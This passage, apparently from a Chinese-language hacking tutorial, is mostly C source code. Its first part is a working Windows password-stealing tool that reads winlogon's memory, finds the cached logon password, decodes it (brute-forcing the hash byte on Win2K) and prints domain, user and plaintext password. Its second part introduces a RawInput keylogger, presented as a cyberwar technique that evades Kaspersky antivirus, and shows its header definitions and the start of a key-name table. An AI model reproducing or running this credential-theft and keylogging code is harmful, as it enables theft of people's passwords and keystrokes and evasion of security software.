  320.             InfoP,   
  321.             SizeNeeded,   
  322.             &SizeWritten))   
  323.     {   
  324.         HeapFree   
  325.             (GetProcessHeap (),   
  326.             0,   
  327.             InfoP);   
  328.         return (0);   
  329.     }   
  330.     DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);   
  331.     if (NumHandles == 0)   
  332.     {   
  333.         HeapFree   
  334.             (GetProcessHeap (),   
  335.             0,   
  336.             InfoP);   
  337.         return (0);   
  338.     }   
  339.     PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =   
  340.         (PQUERY_SYSTEM_INFORMATION) InfoP;   
  341.     DWORD i;   
  342.     for (i = 1; i <= NumHandles; i++)   
  343.     {   
  344.         // "5" is the value of a kernel object type process.    
  345.         if (QuerySystemInformationP->HandleType == 5)   
  346.         {   
  347.             PVOID DebugBufferP =   
  348.                 pfnRtlCreateQueryDebugBuffer   
  349.                     (0,   
  350.                     0);   
  351.             if (pfnRtlQueryProcessDebugInformation   
  352.                     (QuerySystemInformationP->PID,   
  353.                     1,   
  354.                     DebugBufferP) == 0)   
  355.             {   
  356.                 PPROCESS_INFO_HEADER ProcessInfoHeaderP =   
  357.                     (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);   
  358.                 DWORD Count =   
  359.                     ProcessInfoHeaderP->Count;   
  360.                 PPROCESS_INFO ProcessInfoP =   
  361.                     (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));   
  362.                 if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)   
  363.                 {   
  364.                     DWORD i;   
  365.                     DWORD dw = (DWORD) ProcessInfoP;   
  366.                     for (i = 0; i < Count; i++)   
  367.                     {   
  368.                         dw += sizeof (PROCESS_INFO);   
  369.                         ProcessInfoP = (PPROCESS_INFO) dw;   
  370.                         if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)   
  371.                             return (0);   
  372.                         if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)   
  373.                             rc =   
  374.                                 QuerySystemInformationP->PID;   
  375.                     }   
  376.                     if (DebugBufferP)   
  377.                         pfnRtlDestroyQueryDebugBuffer   
  378.                             (DebugBufferP);   
  379.                     HeapFree   
  380.                         (GetProcessHeap (),   
  381.                         0,   
  382.                         InfoP);   
  383.                     return (rc);   
  384.                 }   
  385.             }   
  386.             if (DebugBufferP)   
  387.                 pfnRtlDestroyQueryDebugBuffer   
  388.                     (DebugBufferP);   
  389.         }   
  390.         DWORD dw = (DWORD) QuerySystemInformationP;   
  391.         dw += sizeof (QUERY_SYSTEM_INFORMATION);   
  392.         QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;   
  393.     }   
  394.     HeapFree   
  395.         (GetProcessHeap (),   
  396.         0,   
  397.         InfoP);   
  398.     return (rc);   
  399. // FindWinLogon    
  400.   
  401. //    
  402. // LocatePasswordPageWinNT函数用来在NT中找到用户密码    
  403. //    
  404. BOOL   
  405.     LocatePasswordPageWinNT   
  406.         (DWORD WinLogonPID,   
  407.         PDWORD PasswordLength)   
  408. {   
  409. #define USER_DOMAIN_OFFSET_WINNT    0x200    
  410. #define USER_PASSWORD_OFFSET_WINNT    0x400    
  411.     BOOL rc = FALSE;   
  412.     HANDLE WinLogonHandle =   
  413.         OpenProcess   
  414.             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,   
  415.             FALSE,   
  416.             WinLogonPID);   
  417.     if (WinLogonHandle == 0)   
  418.         return (rc);   
  419.     *PasswordLength = 0;   
  420.     SYSTEM_INFO SystemInfo;   
  421.     GetSystemInfo   
  422.         (&SystemInfo);   
  423.     DWORD PEB = 0x7ffdf000;   
  424.     DWORD BytesCopied = 0;   
  425.     PVOID PEBP =   
  426.         HeapAlloc   
  427.             (GetProcessHeap (),   
  428.             HEAP_ZERO_MEMORY,   
  429.             SystemInfo.dwPageSize);   
  430.     if (!ReadProcessMemory   
  431.             (WinLogonHandle,   
  432.             (PVOID) PEB,   
  433.             PEBP,   
  434.             SystemInfo.dwPageSize,   
  435.             &BytesCopied))   
  436.     {   
  437.         CloseHandle   
  438.             (WinLogonHandle);   
  439.         return (rc);   
  440.     }   
  441.     // Grab the value of the 2nd DWORD in the TEB.    
  442.     PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));   
  443.     MEMORY_BASIC_INFORMATION MemoryBasicInformation;   
  444.     if (VirtualQueryEx   
  445.             (WinLogonHandle,   
  446.             (PVOID) *WinLogonHeap,   
  447.             &MemoryBasicInformation,   
  448.             sizeof (MEMORY_BASIC_INFORMATION)))   
  449.         if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)   
  450.                 &&   
  451.             ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))   
  452.         {   
  453.             PVOID WinLogonMemP =   
  454.                 HeapAlloc   
  455.                     (GetProcessHeap (),   
  456.                     HEAP_ZERO_MEMORY,   
  457.                     MemoryBasicInformation.RegionSize);   
  458.             if (ReadProcessMemory   
  459.                     (WinLogonHandle,   
  460.                     (PVOID) *WinLogonHeap,   
  461.                     WinLogonMemP,   
  462.                     MemoryBasicInformation.RegionSize,   
  463.                     &BytesCopied))   
  464.             {   
  465.                 DWORD i = (DWORD) WinLogonMemP;   
  466.                 DWORD UserNamePos = 0;   
  467.                 // The order in memory is UserName followed by the UserDomain.    
  468.                 // 在内存中搜索UserName和UserDomain字符串    
  469.                 do   
  470.                 {   
  471.                     if ((wcsicmp (UserName, (wchar_t *) i) == 0)   
  472.                             &&   
  473.                         (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))   
  474.                     {   
  475.                         UserNamePos = i;   
  476.                         break;   
  477.                     }   
  478.                     i += 2;   
  479.                 } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);   
  480.                 if (UserNamePos)   
  481.                 {   
  482.                     PENCODED_PASSWORD_INFO EncodedPasswordInfoP =   
  483.                         (PENCODED_PASSWORD_INFO)   
  484.                             ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);   
  485.                     FILETIME LocalFileTime;   
  486.                     SYSTEMTIME SystemTime;   
  487.                     if (FileTimeToLocalFileTime   
  488.                         (&EncodedPasswordInfoP->LoggedOn,   
  489.                         &LocalFileTime))   
  490.                         if (FileTimeToSystemTime   
  491.                             (&LocalFileTime,   
  492.                             &SystemTime))   
  493.                             printf   
  494.                                 ("You logged on at %d/%d/%d %d:%d:%d\n",   
  495.                                 SystemTime.wMonth,   
  496.                                 SystemTime.wDay,   
  497.                                 SystemTime.wYear,   
  498.                                 SystemTime.wHour,   
  499.                                 SystemTime.wMinute,   
  500.                                 SystemTime.wSecond);   
  501.                     *PasswordLength =   
  502.                         (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);   
  503.                     // NT就是好,hash-byte直接放在编码中:)    
  504.                     HashByte =   
  505.                         (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;   
  506.                     RealPasswordP =   
  507.                         (PVOID) (*WinLogonHeap +   
  508.                             (UserNamePos - (DWORD) WinLogonMemP) +   
  509.                             USER_PASSWORD_OFFSET_WINNT + 0x34);   
  510.                     PasswordP =   
  511.                         (PVOID) ((PBYTE) (UserNamePos +     
  512.                             USER_PASSWORD_OFFSET_WINNT + 0x34));   
  513.                     rc = TRUE;   
  514.                 }   
  515.             }   
  516.         }   
  517.   
  518.     HeapFree   
  519.         (GetProcessHeap (),   
  520.         0,   
  521.         PEBP);   
  522.     CloseHandle   
  523.         (WinLogonHandle);   
  524.     return (rc);   
  525. // LocatePasswordPageWinNT    
  526.   
  527.   
  528. //    
  529. // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码    
  530. //    
  531. BOOL   
  532.     LocatePasswordPageWin2K   
  533.         (DWORD WinLogonPID,   
  534.         PDWORD PasswordLength)   
  535. {   
  536. #define USER_DOMAIN_OFFSET_WIN2K    0x400    
  537. #define USER_PASSWORD_OFFSET_WIN2K    0x800    
  538.     HANDLE WinLogonHandle =   
  539.         OpenProcess   
  540.             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,   
  541.             FALSE,   
  542.             WinLogonPID);   
  543.     if (WinLogonHandle == 0)   
  544.         return (FALSE);   
  545.     *PasswordLength = 0;   
  546.     SYSTEM_INFO SystemInfo;   
  547.     GetSystemInfo   
  548.         (&SystemInfo);   
  549.     DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;   
  550.     DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;   
  551.     DWORD Increment = SystemInfo.dwPageSize;   
  552.     MEMORY_BASIC_INFORMATION MemoryBasicInformation;   
  553.     while (i < MaxMemory)   
  554.     {   
  555.         if (VirtualQueryEx   
  556.                 (WinLogonHandle,   
  557.                 (PVOID) i,   
  558.                 &MemoryBasicInformation,   
  559.                 sizeof (MEMORY_BASIC_INFORMATION)))   
  560.         {   
  561.             Increment = MemoryBasicInformation.RegionSize;   
  562.             if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)   
  563.                     &&   
  564.                 ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))   
  565.             {   
  566.                 PVOID RealStartingAddressP =   
  567.                     HeapAlloc   
  568.                         (GetProcessHeap (),   
  569.                         HEAP_ZERO_MEMORY,   
  570.                         MemoryBasicInformation.RegionSize);   
  571.                 DWORD BytesCopied = 0;   
  572.                 if (ReadProcessMemory   
  573.                         (WinLogonHandle,   
  574.                         (PVOID) i,   
  575.                         RealStartingAddressP,   
  576.                         MemoryBasicInformation.RegionSize,   
  577.                         &BytesCopied))   
  578.                 {   
  579.                     // 在WinLogon的内存空间中寻找UserName和DomainName的字符串    
  580.                     if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)   
  581.                             &&   
  582.                         (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))   
  583.                     {   
  584.                         RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);   
  585.                         PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);   
  586.                         // Calculate the length of encoded unicode string.    
  587.                         // 计算出密文的长度    
  588.                         PBYTE p = (PBYTE) PasswordP;   
  589.                         DWORD Loc = (DWORD) p;   
  590.                         DWORD Len = 0;   
  591.                         if ((*p == 0)   
  592.                                 &&   
  593.                             (* (PBYTE) ((DWORD) p + 1) == 0))   
  594.                             ;   
  595.                         else   
  596.                             do   
  597.                             {   
  598.                                 Len++;   
  599.                                 Loc += 2;   
  600.                                 p = (PBYTE) Loc;   
  601.                             } while   
  602.                                 (*p != 0);   
  603.                         *PasswordLength = Len;   
  604.                         CloseHandle   
  605.                             (WinLogonHandle);   
  606.                         return (TRUE);   
  607.                     }   
  608.                 }   
  609.                 HeapFree   
  610.                     (GetProcessHeap (),   
  611.                     0,   
  612.                     RealStartingAddressP);   
  613.             }   
  614.         }   
  615.         else   
  616.             Increment = SystemInfo.dwPageSize;   
  617.         // Move to next memory block.    
  618.         i += Increment;   
  619.     }   
  620.     CloseHandle   
  621.         (WinLogonHandle);   
  622.     return (FALSE);   
  623. // LocatePasswordPageWin2K    
  624.   
  625.   
  626. //    
  627. // DisplayPasswordWinNT函数用来在NT中解码用户密码    
  628. //    
  629. void   
  630.     DisplayPasswordWinNT   
  631.         (void)   
  632. {   
  633.     UNICODE_STRING EncodedString;   
  634.     EncodedString.Length =   
  635.         (WORD) PasswordLength * sizeof (wchar_t);   
  636.     EncodedString.MaximumLength =   
  637.         ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);   
  638.     EncodedString.Buffer =   
  639.         (PWSTR) HeapAlloc   
  640.             (GetProcessHeap (),   
  641.             HEAP_ZERO_MEMORY,   
  642.             EncodedString.MaximumLength);   
  643.     CopyMemory   
  644.         (EncodedString.Buffer,   
  645.         PasswordP,   
  646.         PasswordLength * sizeof (wchar_t));   
  647.     // Finally - decode the password.    
  648.     // Note that only one call is required since the hash-byte    
  649.     // was part of the orginally encoded string.    
  650.     // 在NT中,hash-byte是包含在编码中的    
  651.     // 因此只需要直接调用函数解码就可以了    
  652.     pfnRtlRunDecodeUnicodeString   
  653.         ((BYTE) HashByte,   
  654.         &EncodedString);   
  655.     printf   
  656.         ("The logon information is: %S/%S/%S.\n",   
  657.         UserDomain,   
  658.         UserName,   
  659.         EncodedString.Buffer);   
  660.     printf   
  661.         ("The hash byte is: 0x%2.2x.\n",   
  662.         HashByte);   
  663.     HeapFree   
  664.         (GetProcessHeap (),   
  665.         0,   
  666.         EncodedString.Buffer);   
  667. // DisplayPasswordWinNT    
  668.   
  669. //    
  670. // DisplayPasswordWin2K函数用来在Win2K中解码用户密码    
  671. //    
  672. void   
  673.     DisplayPasswordWin2K   
  674.         (void)   
  675. {   
  676.     DWORD i, Hash = 0;   
  677.     UNICODE_STRING EncodedString;   
  678.     EncodedString.Length =   
  679.         (USHORT) PasswordLength * sizeof (wchar_t);   
  680.     EncodedString.MaximumLength =   
  681.         ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);   
  682.     EncodedString.Buffer =   
  683.         (PWSTR) HeapAlloc   
  684.             (GetProcessHeap (),   
  685.             HEAP_ZERO_MEMORY,   
  686.             EncodedString.MaximumLength);   
  687.     // This is a brute force technique since the hash-byte    
  688.     // is not stored as part of the encoded string - :>(.    
  689.     // 因为在Win2K中hash-byte并不存放在编码中    
  690.     // 所以在这里进行的是暴力破解    
  691.     // 下面的循环中i就是hash-byte    
  692.     // 我们将i从0x00到0xff分别对密文进行解密    
  693.     // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的    
  694.     // 这个算法实际上是从概率角度来解码的    
  695.     // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小    
  696.     for (i = 0; i <= 0xff; i++)   
  697.     {   
  698.         CopyMemory   
  699.             (EncodedString.Buffer,   
  700.             PasswordP,   
  701.             PasswordLength * sizeof (wchar_t));   
  702.         // Finally - try to decode the password.    
  703.         // 使用i作为hash-byte对密文进行解码    
  704.         pfnRtlRunDecodeUnicodeString   
  705.             ((BYTE) i,   
  706.             &EncodedString);   
  707.         // Check for a viewable password.    
  708.         // 检查解码出的密码是否完全由可见字符组成    
  709.         // 如果是则认为是正确的解码    
  710.         PBYTE p = (PBYTE) EncodedString.Buffer;   
  711.         BOOL Viewable = TRUE;   
  712.         DWORD j, k;   
  713.         for (j = 0; (j < PasswordLength) && Viewable; j++)   
  714.         {   
  715.             if ((*p)   
  716.                     &&   
  717.                 (* (PBYTE)(DWORD (p) + 1) == 0))   
  718.             {   
  719.                 if (*p < 0x20)   
  720.                     Viewable = FALSE;   
  721.                 if (*p > 0x7e)   
  722.                     Viewable = FALSE;   
  723.                 //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了    
  724.             }   
  725.             else   
  726.                 Viewable = FALSE;   
  727.             k = DWORD (p);   
  728.             k++; k++;   
  729.             p = (PBYTE) k;   
  730.         }   
  731.         if (Viewable)   
  732.         {   
  733.             printf   
  734.                 ("The logon information is: %S/%S/%S.\n",   
  735.                 UserDomain,   
  736.                 UserName,   
  737.                 EncodedString.Buffer);   
  738.             printf   
  739.                 ("The hash byte is: 0x%2.2x.\n",   
  740.                 i);   
  741.         }   
  742.     }   
  743.     HeapFree   
  744.         (GetProcessHeap (),   
  745.         0,   
  746.         EncodedString.Buffer);   
  747. }  

 

(6)穿透卡巴斯基的键盘记录编程-网络战技术

在国家之间的网络战争中,窃取密码是个很重要的事情。

而密码往往是键盘输入的。利用原始设备输入变化RawInput 实现键盘记录,并穿透最牛的杀毒软件卡巴斯基。

 

引用外国人的原始设备输入变化的类。请柬代码与详细注解。

 

  1. #ifndef _RAWINPUT_H   
  2. #define _RAWINPUT_H   
  3.   
  4. #include <windows.h>   
  5.   
  6. /* 
  7.  * The input is in the regular message flow, 
  8.  * the app is required to call DefWindowProc 
  9.  * so that the system can perform clean ups. 
  10.  */  
  11. #define RIM_INPUT       0   
  12.   
  13. /* 
  14.  * The input is sink only. The app is expected 
  15.  * to behave nicely. 
  16.  */  
  17. #define RIM_INPUTSINK   1   
  18.   
  19.   
  20. /* 
  21.  * Raw Input data header 
  22.  */  
  23. typedef struct tagRAWINPUTHEADER {  
  24.     DWORD dwType;  
  25.     DWORD dwSize;  
  26.     HANDLE hDevice;  
  27.     WPARAM wParam;  
  28. } RAWINPUTHEADER, *PRAWINPUTHEADER, *LPRAWINPUTHEADER;  
  29.   
  30. /* 
  31.  * Type of the raw input 
  32.  */  
  33. #define RIM_TYPEMOUSE       0   
  34. #define RIM_TYPEKEYBOARD    1   
  35. #define RIM_TYPEHID         2   
  36.   
  37. /* 
  38.  * Raw format of the mouse input 
  39.  */  
  40. typedef struct tagRAWMOUSE {  
  41.     /* 
  42.      * Indicator flags. 
  43.      */  
  44.     USHORT usFlags;  
  45.   
  46.     /* 
  47.      * The transition state of the mouse buttons. 
  48.      */  
  49.     union {  
  50.         ULONG ulButtons;  
  51.         struct  {  
  52.             USHORT  usButtonFlags;  
  53.             USHORT  usButtonData;  
  54.         };  
  55.     };  
  56.   
  57.   
  58.     /* 
  59.      * The raw state of the mouse buttons. 
  60.      */  
  61.     ULONG ulRawButtons;  
  62.   
  63.     /* 
  64.      * The signed relative or absolute motion in the X direction. 
  65.      */  
  66.     LONG lLastX;  
  67.   
  68.     /* 
  69.      * The signed relative or absolute motion in the Y direction. 
  70.      */  
  71.     LONG lLastY;  
  72.   
  73.     /* 
  74.      * Device-specific additional information for the event. 
  75.      */  
  76.     ULONG ulExtraInformation;  
  77.   
  78. } RAWMOUSE, *PRAWMOUSE, *LPRAWMOUSE;  
  79.   
  80. /* 
  81.  * Define the mouse button state indicators. 
  82.  */  
  83.   
  84. #define RI_MOUSE_LEFT_BUTTON_DOWN   0x0001  // Left Button changed to down.   
  85. #define RI_MOUSE_LEFT_BUTTON_UP     0x0002  // Left Button changed to up.   
  86. #define RI_MOUSE_RIGHT_BUTTON_DOWN  0x0004  // Right Button changed to down.   
  87. #define RI_MOUSE_RIGHT_BUTTON_UP    0x0008  // Right Button changed to up.   
  88. #define RI_MOUSE_MIDDLE_BUTTON_DOWN 0x0010  // Middle Button changed to down.   
  89. #define RI_MOUSE_MIDDLE_BUTTON_UP   0x0020  // Middle Button changed to up.   
  90.   
  91. #define RI_MOUSE_BUTTON_1_DOWN      RI_MOUSE_LEFT_BUTTON_DOWN   
  92. #define RI_MOUSE_BUTTON_1_UP        RI_MOUSE_LEFT_BUTTON_UP   
  93. #define RI_MOUSE_BUTTON_2_DOWN      RI_MOUSE_RIGHT_BUTTON_DOWN   
  94. #define RI_MOUSE_BUTTON_2_UP        RI_MOUSE_RIGHT_BUTTON_UP   
  95. #define RI_MOUSE_BUTTON_3_DOWN      RI_MOUSE_MIDDLE_BUTTON_DOWN   
  96. #define RI_MOUSE_BUTTON_3_UP        RI_MOUSE_MIDDLE_BUTTON_UP   
  97.   
  98. #define RI_MOUSE_BUTTON_4_DOWN      0x0040   
  99. #define RI_MOUSE_BUTTON_4_UP        0x0080   
  100. #define RI_MOUSE_BUTTON_5_DOWN      0x0100   
  101. #define RI_MOUSE_BUTTON_5_UP        0x0200   
  102.   
  103. /* 
  104.  * If usButtonFlags has RI_MOUSE_WHEEL, the wheel delta is stored in usButtonData. 
  105.  * Take it as a signed value. 
  106.  */  
  107. #define RI_MOUSE_WHEEL              0x0400   
  108.   
  109. /* 
  110.  * Define the mouse indicator flags. 
  111.  */  
  112. #define MOUSE_MOVE_RELATIVE         0   
  113. #define MOUSE_MOVE_ABSOLUTE         1   
  114. #define MOUSE_VIRTUAL_DESKTOP    0x02  // the coordinates are mapped to the virtual desktop   
  115. #define MOUSE_ATTRIBUTES_CHANGED 0x04  // requery for mouse attributes   
  116.   
  117.   
  118. /* 
  119.  * Raw format of the keyboard input 
  120.  */  
  121. typedef struct tagRAWKEYBOARD {  
  122.     /* 
  123.      * The "make" scan code (key depression). 
  124.      */  
  125.     USHORT MakeCode;  
  126.   
  127.     /* 
  128.      * The flags field indicates a "break" (key release) and other 
  129.      * miscellaneous scan code information defined in ntddkbd.h. 
  130.      */  
  131.     USHORT Flags;  
  132.   
  133.     USHORT Reserved;  
  134.   
  135.     /* 
  136.      * Windows message compatible information 
  137.      */  
  138.     USHORT VKey;  
  139.     UINT   Message;  
  140.   
  141.     /* 
  142.      * Device-specific additional information for the event. 
  143.      */  
  144.     ULONG ExtraInformation;  
  145.   
  146.   
  147. } RAWKEYBOARD, *PRAWKEYBOARD, *LPRAWKEYBOARD;  
  148.   
  149.   
  150. /* 
  151.  * Define the keyboard overrun MakeCode. 
  152.  */  
  153.   
  154. #define KEYBOARD_OVERRUN_MAKE_CODE    0xFF   
  155.   
  156. /* 
  157.  * Define the keyboard input data Flags. 
  158.  */  
  159. #define RI_KEY_MAKE             0   
  160. #define RI_KEY_BREAK            1   
  161. #define RI_KEY_E0               2   
  162. #define RI_KEY_E1               4   
  163. #define RI_KEY_TERMSRV_SET_LED  8   
  164. #define RI_KEY_TERMSRV_SHADOW   0x10   
  165.   
  166.   
  167. /* 
  168.  * Raw format of the input from Human Input Devices 
  169.  */  
  170. typedef struct tagRAWHID {  
  171.     DWORD dwSizeHid;    // byte size of each report   
  172.     DWORD dwCount;      // number of input packed   
  173.     BYTE bRawData[1];  
  174. } RAWHID, *PRAWHID, *LPRAWHID;  
  175.   
  176. /* 
  177.  * RAWINPUT data structure. 
  178.  */  
  179. typedef struct tagRAWINPUT {  
  180.     RAWINPUTHEADER header;  
  181.     union {  
  182.         RAWMOUSE    mouse;  
  183.         RAWKEYBOARD keyboard;  
  184.         RAWHID      hid;  
  185.     } data;  
  186. } RAWINPUT, *PRAWINPUT, *LPRAWINPUT;  
  187.   
  188. /* 
  189.  * Flags for GetRawInputData 
  190.  */  
  191.   
  192. #define RID_INPUT               0x10000003   
  193. #define RID_HEADER              0x10000005   
  194.   
  195. typedef struct HRAWINPUT__ * HRAWINPUT;  
  196.   
  197. typedef  
  198. UINT  
  199. (_stdcall * PGetRawInputData)(  
  200.     HRAWINPUT hRawInput,  
  201.     UINT uiCommand,  
  202.     LPVOID pData,  
  203.     PUINT pcbSize,  
  204.     UINT cbSizeHeader  
  205. );  
  206.   
  207. /* 
  208.  * Raw Input Device Information 
  209.  */  
  210. #define RIDI_PREPARSEDDATA      0x20000005   
  211. #define RIDI_DEVICENAME         0x20000007  // the return valus is the character length, not the byte size   
  212. #define RIDI_DEVICEINFO         0x2000000b   
  213.   
  214. typedef struct tagRID_DEVICE_INFO_MOUSE {  
  215.     DWORD dwId;  
  216.     DWORD dwNumberOfButtons;  
  217.     DWORD dwSampleRate;  
  218. } RID_DEVICE_INFO_MOUSE, *PRID_DEVICE_INFO_MOUSE;  
  219.   
  220. typedef struct tagRID_DEVICE_INFO_KEYBOARD {  
  221.     DWORD dwType;  
  222.     DWORD dwSubType;  
  223.     DWORD dwKeyboardMode;  
  224.     DWORD dwNumberOfFunctionKeys;  
  225.     DWORD dwNumberOfIndicators;  
  226.     DWORD dwNumberOfKeysTotal;  
  227. } RID_DEVICE_INFO_KEYBOARD, *PRID_DEVICE_INFO_KEYBOARD;  
  228.   
  229. typedef struct tagRID_DEVICE_INFO_HID {  
  230.     DWORD dwVendorId;  
  231.     DWORD dwProductId;  
  232.     DWORD dwVersionNumber;  
  233.   
  234.     /* 
  235.      * Top level collection UsagePage and Usage 
  236.      */  
  237.     USHORT usUsagePage;  
  238.     USHORT usUsage;  
  239. } RID_DEVICE_INFO_HID, *PRID_DEVICE_INFO_HID;  
  240.   
  241. typedef struct tagRID_DEVICE_INFO {  
  242.     DWORD cbSize;  
  243.     DWORD dwType;  
  244.     union {  
  245.         RID_DEVICE_INFO_MOUSE mouse;  
  246.         RID_DEVICE_INFO_KEYBOARD keyboard;  
  247.         RID_DEVICE_INFO_HID hid;  
  248.     };  
  249. } RID_DEVICE_INFO, *PRID_DEVICE_INFO, *LPRID_DEVICE_INFO;  
  250.   
  251. typedef  
  252. UINT  
  253. (_stdcall * PGetRawInputDeviceInfoA)(  
  254.     HANDLE hDevice,  
  255.     UINT uiCommand,  
  256.     LPVOID pData,  
  257.     PUINT pcbSize  
  258. );  
  259.   
  260. typedef  
  261. UINT  
  262. (_stdcall * PGetRawInputDeviceInfoW)(  
  263.     HANDLE hDevice,  
  264.     UINT uiCommand,  
  265.     LPVOID pData,  
  266.     PUINT pcbSize  
  267. );  
  268.   
  269.   
  270.   
  271. /* 
  272.  * Raw Input Bulk Read: GetRawInputBuffer 
  273.  */  
  274. typedef  
  275. UINT  
  276. (_stdcall * PGetRawInputBuffer)(  
  277.     PRAWINPUT pData,  
  278.     PUINT pcbSize,  
  279.     UINT cbSizeHeader  
  280. );  
  281.   
  282. /* 
  283.  * Raw Input request APIs 
  284.  */  
  285. typedef struct tagRAWINPUTDEVICE {  
  286.     USHORT usUsagePage; // Toplevel collection UsagePage   
  287.     USHORT usUsage;     // Toplevel collection Usage   
  288.     DWORD dwFlags;  
  289.     HWND hwndTarget;    // Target hwnd. NULL = follows keyboard focus   
  290. } RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;  
  291.   
  292. typedef CONST RAWINPUTDEVICE* PCRAWINPUTDEVICE;  
  293.   
  294. #define RIDEV_REMOVE            0x00000001   
  295. #define RIDEV_EXCLUDE           0x00000010   
  296. #define RIDEV_PAGEONLY          0x00000020   
  297. #define RIDEV_NOLEGACY          0x00000030   
  298. #define RIDEV_INPUTSINK         0x00000100   
  299. #define RIDEV_CAPTUREMOUSE      0x00000200  // effective when mouse nolegacy is specified, otherwise it would be an error   
  300. #define RIDEV_NOHOTKEYS         0x00000200  // effective for keyboard.   
  301. #define RIDEV_APPKEYS           0x00000400  // effective for keyboard.   
  302. #define RIDEV_EXMODEMASK        0x000000F0   
  303.   
  304. #define RIDEV_EXMODE(mode)  ((mode) & RIDEV_EXMODEMASK)   
  305.   
  306. typedef  
  307. BOOL  
  308. (_stdcall * PRegisterRawInputDevices)(  
  309.     PCRAWINPUTDEVICE pRawInputDevices,  
  310.     UINT uiNumDevices,  
  311.     UINT cbSize  
  312. );  
  313.   
  314. typedef  
  315. UINT  
  316. (_stdcall * PGetRegisteredRawInputDevices)(  
  317.     PRAWINPUTDEVICE pRawInputDevices,  
  318.     PUINT puiNumDevices,  
  319.     UINT cbSize  
  320. );  
  321.   
  322.   
  323. typedef struct tagRAWINPUTDEVICELIST {  
  324.     HANDLE hDevice;  
  325.     DWORD dwType;  
  326. } RAWINPUTDEVICELIST, *PRAWINPUTDEVICELIST;  
  327.   
  328. typedef  
  329. UINT  
  330. (_stdcall * PGetRawInputDeviceList)(  
  331.     PRAWINPUTDEVICELIST pRawInputDeviceList,  
  332.     PUINT puiNumDevices,  
  333.     UINT cbSize);  
  334.   
  335. typedef  
  336. LRESULT  
  337. (_stdcall * PDefRawInputProc)(  
  338.     PRAWINPUT *paRawInput,  
  339.     INT nInput,  
  340.     UINT cbSizeHeader  
  341. );  
  342.   
  343. #define WM_INPUT 0x00ff   
  344.   
  345. #endif   
  346.   
  347. #ifndef _VKEY_H   
  348. #define _VKEY_H   
  349.   
  350. struct VKeyInfo{  
  351.     USHORT VKey;  
  352.     LPCSTR VKname;  
  353. };  
  354.   
  355. #define AddVKey(VK, VKName)   {(VK), (VKName)}   
  356.   
  357. static VKeyInfo vkis[] = {  
  358.         AddVKey(VK_LBUTTON, "Left mouse button"),  
  359.         AddVKey(VK_RBUTTON, "Right mouse button"),  
  360.         AddVKey(VK_CANCEL, "Control-break processing"),  
  361.         AddVKey(0x04, "[Middle mouse button (three-button mouse]"),  
  362.         AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),  
  363.         AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),  
  364.         AddVKey(0x07, "Undefined"),  
  365.         AddVKey(VK_BACK, "[BACKSPACE]"),  
  366.         AddVKey(VK_TAB, "[TAB]"),  
  367.         AddVKey(0x0A, "Reserved"),  
  368.         AddVKey(0x0B, "Reserved"),  
  369.         AddVKey(VK_CLEAR, "[CLEAR]"),  
  370.         AddVKey(VK_RETURN, "[ENTER]"),  
  371.         AddVKey(0x0E, "Undefined"),  
  372.         AddVKey(0x0F, "Undefined"),  
  373.         AddVKey(VK_SHIFT, "[SHIFT]"),  
  374.         AddVKey(VK_CONTROL, "[CTRL]"),  
  375.         AddVKey(VK_MENU, "[ALT]"),  
  376.         AddVKey(VK_PAUSE, "[PAUSE]"),  
  377.         AddVKey(VK_CAPITAL, "[caps lock]"),  
  378.         AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),  
  379.         AddVKey(VK_HANGUL, "IME Hangul mode"),  
  380.         AddVKey(0x16, "Undefined"),  
  381.         AddVKey(VK_JUNJA, "IME Junja mode"),  
  382.         AddVKey(VK_FINAL, "IME final mode"),  
  383.         AddVKey(VK_HANJA, "IME Hanja mode"),  
  384.         AddVKey(VK_KANJI, "IME Kanji mode"),  
  385.         AddVKey(0x1A, "Undefined"),  
  386.         AddVKey(VK_ESCAPE, "[ESC]"),  
  387.         AddVKey(VK_CONVERT, "IME convert"),  
  388.         AddVKey(VK_NONCONVERT, "IME nonconvert"),  
  389.         AddVKey(VK_ACCEPT, "IME accept"),  
  390.         AddVKey(VK_MODECHANGE, "IME mode change request"),  
  391.         AddVKey(VK_SPACE, "[space]"),  
  392.         AddVKey(VK_PRIOR, "[PAGE UP]"),  
